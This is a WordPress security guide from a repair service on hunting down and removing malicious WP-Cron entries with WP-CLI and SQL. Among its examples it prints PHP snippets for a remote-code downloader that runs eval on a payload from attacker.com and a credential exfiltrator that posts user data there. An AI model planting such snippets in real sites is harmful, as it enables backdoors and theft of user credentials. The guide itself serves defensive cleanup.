Logo
WP Fix by Blimx

Malicious Cron Jobs in WordPress — Hunt and Kill

Actualizado:
SecurityMalware

Why attackers love WP-Cron

WordPress has its own pseudo-cron system: every time someone visits your site, WordPress checks if any scheduled tasks are due and runs them. Attackers love this because:

  1. No user interaction needed — every visitor unknowingly triggers the malware
  2. Runs as the web server user — has filesystem write access
  3. Hidden from admins — most admins never look at the cron list
  4. Easy persistence — even if you clean files, the cron re-creates the backdoor

This article is the playbook for finding and killing malicious WP-Cron entries.

How a malicious cron entry looks

A normal WordPress cron entry:

hourly:    wp_version_check
hourly:    wp_update_plugins  
hourly:    wp_update_themes
twicedaily: wp_scheduled_delete
daily:     wp_scheduled_auto_draft_delete

A malicious one usually:

  • Has a generic name like wp_remote_get, wp_initial_check, wp_validate
  • Runs on an unusual interval like 5min or 15min
  • Is registered by a file you don't recognize
  • Triggers a function whose code includes eval, base64_decode, or HTTP calls to suspicious domains

Detection with WP-CLI

WP-CLI makes this easy:

cd /var/www/yoursite

# List all scheduled events
wp cron event list

# Look for unusual hook names
wp cron event list --field=hook | sort -u

Cross-reference the hook names against the source. For each suspicious hook, find what file registers it:

grep -rE "add_action\s*\(\s*['"]suspicious_hook_name['"]" wp-content/

If the registering file is a known plugin, the hook is legitimate. If it's a random PHP file in mu-plugins/ or a file in uploads/, it's malicious.

Detection via the database

If WP-CLI isn't available, query the cron data directly:

SELECT option_value FROM wp_options WHERE option_name = 'cron';

The result is a PHP-serialized array. To make it readable:

wp option get cron --format=json | python3 -m json.tool

Look for: - Hook names not matching anything legitimate - Schedule intervals not in your normal cron config - Entries with timestamps far in the future (the malware schedules itself for later)

Common malicious cron patterns

Patterns we have seen in 2025-2026:

Pattern 1 — Self-replicating downloader

// Hidden in mu-plugins/wp-update.php
add_action('init', function() {
    if (!wp_next_scheduled('wp_remote_update_check')) {
        wp_schedule_event(time(), 'hourly', 'wp_remote_update_check');
    }
});
add_action('wp_remote_update_check', function() {
    $code = @file_get_contents('http://attacker.com/payload.php');
    eval(base64_decode($code));
});

This cron fetches new payload code every hour from a remote server. Even if you clean the malware, the cron re-downloads it.

Pattern 2 — Database SEO injector

add_action('wp_seo_inject', function() {
    global $wpdb;
    $wpdb->query("UPDATE wp_posts SET post_content = CONCAT(post_content, '<hidden viagra links>') WHERE ID = (SELECT id FROM (SELECT id FROM wp_posts ORDER BY RAND() LIMIT 1) p)");
});

Adds spam links to a random post every 5 minutes. Even if you clean all posts, more get polluted.

Pattern 3 — Credential exfiltrator

add_action('wp_users_check', function() {
    global $wpdb;
    $users = $wpdb->get_results("SELECT user_login, user_pass, user_email FROM wp_users");
    wp_remote_post('http://attacker.com/collect.php', ['body' => serialize($users)]);
});

Sends user data to attacker daily. The credentials are hashed but still useful for credential stuffing.

Removal procedure

Step 1 — Disable WP-Cron temporarily

In wp-config.php:

define('DISABLE_WP_CRON', true);

This prevents the malicious cron from firing while you investigate.

Step 2 — Identify the malicious hooks

wp cron event list --format=table

Note all hooks that don't match known plugins.

Step 3 — Unschedule the malicious hooks

wp cron event delete <hook_name>
# repeat for each malicious hook

Step 4 — Find and delete the registering code

# For each suspect hook, find what registers it
grep -rE "add_action\s*\(\s*['"]<hook>['"]" wp-content/

Delete those files. If a file is in wp-content/mu-plugins/, deleting it removes the registration.

Step 5 — Clear the cron table

DELETE FROM wp_options WHERE option_name = 'cron';

This wipes the entire cron schedule. WordPress will regenerate its own legitimate entries on next page load.

Step 6 — Re-enable cron

Remove or change DISABLE_WP_CRON to false in wp-config.php.

Step 7 — Verify normal cron repopulates

wp cron event list --format=table

You should see only legitimate hooks (wp_version_check, wp_update_plugins, etc.). If a malicious one reappears, you missed a registration file.

Why server cron is better than WP-Cron

WordPress's pseudo-cron has security and reliability problems. Best practice:

Disable WP-Cron

// wp-config.php
define('DISABLE_WP_CRON', true);

Add a real cron entry

crontab -e
# Add:
*/5 * * * * cd /var/www/yoursite && wp cron event run --due-now > /dev/null 2>&1

This runs WP-Cron from a server-level scheduler every 5 minutes. Benefits:

  • Predictable execution timing
  • Doesn't depend on visitor traffic
  • Logged centrally with other system cron jobs
  • Easier to monitor

For malicious cron entries that registered themselves, the server cron alone doesn't fix the problem — you still need to delete the registration. But it makes the system harder to abuse going forward.

Prevention

After cleanup:

  • Audit wp cron event list weekly
  • File integrity monitoring on wp-content/mu-plugins/
  • WAF rules to block known exploit attempts
  • Plugin updates within 7 days of security release
  • Patchstack subscription for early CVE warnings

Common mistakes during cron cleanup

  • Only deleting the file — without unscheduling the hook, the cron table still has the entry
  • Only deleting the cron entry — without removing the file, the registration re-creates the entry
  • Trusting "wp cron event list" output — some malware hides itself from WP-CLI; query the database directly

When to call a specialist

Malicious cron entries usually indicate a deeper infection. The cron is a persistence mechanism for malware that lives elsewhere. We don't just remove the cron — we trace the infection back to the entry vector and close it.

Malicious cron cleanup within hours. For broader malware see hacked website repair.